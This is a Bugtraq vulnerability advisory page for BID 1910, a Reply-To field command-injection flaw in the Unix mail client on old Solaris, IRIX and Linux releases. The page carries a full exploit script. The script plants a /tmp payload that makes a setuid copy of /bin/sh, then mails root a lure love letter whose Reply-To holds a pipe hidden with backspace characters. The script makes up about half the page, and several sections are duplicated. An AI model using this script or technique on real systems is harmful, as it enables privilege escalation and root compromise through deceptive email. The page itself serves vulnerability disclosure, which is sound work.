Multiple Vendor Mail Reply-To Field Vulnerability
BID:1910
Info
Multiple Vendor Mail Reply-To Field Vulnerability
| Bugtraq ID: | 1910 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 01 2000 12:00AM |
| Updated: | Nov 01 2000 12:00AM |
| Credit: | Reported to bugtraq by gregory duchemin <[email protected]> on 5 Nov 2000. |
| Vulnerable: |
Sun Solaris 2.5.1 _x86 Sun Solaris 2.5.1 _ppc Sun Solaris 2.5.1 Sun Solaris 2.6_x86HW3/98 Sun Solaris 2.6_x86 Sun Solaris 2.6 Sun Solaris 2.5_x86 Sun Solaris 2.5 Sun Solaris 2.4_x86 SGI IRIX 6.3 SGI IRIX 5.3 SGI IRIX 5.2 Redhat Linux 7.0 Redhat Linux 6.2 E sparc Redhat Linux 6.2 E i386 Redhat Linux 6.2 E alpha Redhat Linux 6.2 sparc Redhat Linux 6.2 i386 Redhat Linux 6.2 alpha Debian Linux 2.3 Debian Linux 2.2 Caldera OpenLinux 2.4 |
| Not Vulnerable: | |
Discussion
Multiple Vendor Mail Reply-To Field Vulnerability
mail is a simple console e-mail client. A vulnerability exists in several vendors' distributions of this program.
An attacker can compose an email message with a carefully-formed string in the Reply-To: field which includes shell meta-characters, and send it to a victim/recipient.
Upon receipt of this message, the recipient might normally see the dangerous text in the Reply-to field and delete the message without responding.
However, the field can be formed in such a way that these extra characters are concealed. By including a series of ^H characters, the attacker can affect the text in the field as it is displayed on the recipient's screen. As a result, the victim has no visible indication that the message variables (eg, from and reply-to) are malformed.
If the message elicits a response from the user, the contents of the reply-to field will be interpreted as a reference to a pre-existing file in /tmp, placed earlier by the attacker, which can contain arbitrary shell commands. This can grant the attacker an elevation of privileges, to that of his victim, and possibly root (if root replies to the dangerous email..).
mail is a simple console e-mail client. A vulnerability exists in several vendors' distributions of this program.
An attacker can compose an email message with a carefully-formed string in the Reply-To: field which includes shell meta-characters, and send it to a victim/recipient.
Upon receipt of this message, the recipient might normally see the dangerous text in the Reply-to field and delete the message without responding.
However, the field can be formed in such a way that these extra characters are concealed. By including a series of ^H characters, the attacker can affect the text in the field as it is displayed on the recipient's screen. As a result, the victim has no visible indication that the message variables (eg, from and reply-to) are malformed.
If the message elicits a response from the user, the contents of the reply-to field will be interpreted as a reference to a pre-existing file in /tmp, placed earlier by the attacker, which can contain arbitrary shell commands. This can grant the attacker an elevation of privileges, to that of his victim, and possibly root (if root replies to the dangerous email..).
Exploit / POC
Multiple Vendor Mail Reply-To Field Vulnerability
I LOVE YOU letter for Unix
==========================
#!/bin/sh
#
# I-Love-U.sh
# Exploit for | char in mail Reply-To field
# tested on linux Caldera (techno preview linux 2.4.0)
#
# Gregory Duchemin ( AKA C3rb3r )
# Security Consultant
#
# NEUROCOM CANADA
# 1001 bd Maisonneuve Ouest
# Montreal (Quebec) H3A 3C8 Canada
# [email protected]
# Cook Ingredients: one | char (hidden in an uppercase i),
# a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)
#
cd /tmp
cat ^H^H^H^H^[email protected] << _End
#!/bin/sh
cp /bin/sh /tmp/newsh
chmod a+rws /tmp/newsh
_End
{
sleep 1
echo "HELO hotmail.com"
sleep 1
echo "MAIL FROM:<[email protected]>"
sleep 1
echo "RCPT TO:<root>"
sleep 1
echo "DATA"
sleep 1
# Reply-to will appear as Reply-To:<|[email protected]>
echo "Reply-To:<|/tmp/^H^H^H^H^[email protected]>"
sleep 1
echo
echo "I saw you yesterday, since i'm a bit confused..i just wanted"
echo "to say you."
echo "I believe I LOVE YOU"
echo
echo "Isabelle."
echo "."
sleep 1
echo "QUIT"
sleep 2
}|telnet localhost 25
echo "Job is done...now check for newsh in /tmp"
echo
echo
I LOVE YOU letter for Unix
==========================
#!/bin/sh
#
# I-Love-U.sh
# Exploit for | char in mail Reply-To field
# tested on linux Caldera (techno preview linux 2.4.0)
#
# Gregory Duchemin ( AKA C3rb3r )
# Security Consultant
#
# NEUROCOM CANADA
# 1001 bd Maisonneuve Ouest
# Montreal (Quebec) H3A 3C8 Canada
# [email protected]
# Cook Ingredients: one | char (hidden in an uppercase i),
# a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)
#
cd /tmp
cat ^H^H^H^H^[email protected] << _End
#!/bin/sh
cp /bin/sh /tmp/newsh
chmod a+rws /tmp/newsh
_End
{
sleep 1
echo "HELO hotmail.com"
sleep 1
echo "MAIL FROM:<[email protected]>"
sleep 1
echo "RCPT TO:<root>"
sleep 1
echo "DATA"
sleep 1
# Reply-to will appear as Reply-To:<|[email protected]>
echo "Reply-To:<|/tmp/^H^H^H^H^[email protected]>"
sleep 1
echo
echo "I saw you yesterday, since i'm a bit confused..i just wanted"
echo "to say you."
echo "I believe I LOVE YOU"
echo
echo "Isabelle."
echo "."
sleep 1
echo "QUIT"
sleep 2
}|telnet localhost 25
echo "Job is done...now check for newsh in /tmp"
echo
echo
Solution / Fix
Multiple Vendor Mail Reply-To Field Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Multiple Vendor Mail Reply-To Field Vulnerability
References:
References: